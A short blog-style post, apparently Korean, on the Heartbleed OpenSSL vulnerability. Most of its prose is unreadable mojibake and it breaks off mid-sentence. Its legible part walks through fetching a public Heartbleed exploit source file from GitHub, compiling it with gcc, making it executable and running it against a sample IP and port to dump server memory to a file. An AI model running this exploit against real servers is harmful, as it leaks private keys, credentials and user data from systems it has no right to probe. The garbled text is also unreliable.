Heartbleed :) ํํธ๋ธ๋ฆฌ๋
heartbleed ๋ 2015๋
๋ณด์ ์ทจ์ฝ์ ์ค ๋ํ์ ์ธ ์ทจ์ฝ์ ์ด๋ผ ํ ์ ์๋ค.
heartbleed ์ทจ์ฝ์ ์ ๊ณต๊ฒฉ์๊ฐ ์๋ฒ์ ๋ฉ๋ชจ๋ฆฌ์ ์ผ๋ถ๋ถ์ ์ฝ์ด ์ฌ ์ ์๋ openSSL์ ์ทจ์ฝ์ ์ผ๋ก ์์ฒญํ ๋ ์์ฒญํ ๋จ์ด๊ฐ ๋ง์ฝ aaa์ด๋ฉด 3๋ฐ์ดํธ๋ฅผ ์์ฒญํ๋ฉด ๋๋๋ฐ ์ด ๋ณด๋ค ๋ ํฐ ๋ฐ์ดํธ์ธ 500์ ํ๊ฒ ๋๋ค๋ฉด aaa๋ฅผ ๋ฐํํ๊ณ ๋จ์ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋ค๋ฅธ ๊ฐ์ผ๋ก ๋ฑ์ด ์ฃผ๋ ์ทจ์ฝ์ ์ ๋งํ๋ค.
์ทจ์ฝ์ ์ ์ค์ตํด๋ณผ ๋์๋
1. https://raw.githubusercontent.com/HackerFantastic/Public/master/exploits/heartbleed.c
์ฌ๊ธฐ์ ๋ค์ด์ ๋ฐ์ ํ
2. gcc heartbleed.c -o heartbleed -Wl,-Bstatic -ssl -Wl,-Bdynamic -lssl3 -lcrypto
์ปดํ์ผ ํ ํ
3. chmod 755 heartbleed
๊ถํ ์ค์
์ฌ์ฉ๋ฒ์ ./heartbleed -s IP -p Port -f OutputFile -v -t Type
ex) ./heartbleed -s 111.111.111.111 -p 666 -f output -v -t 1
์ด๋ฌํ ์์ผ๋ก ์ฌ์ฉ ํ๋ฉด ๋๋ค.
์ฝ๊ฒ heartbleed ๋ฅผ ์ดํดํ๊ธฐ ์ํด์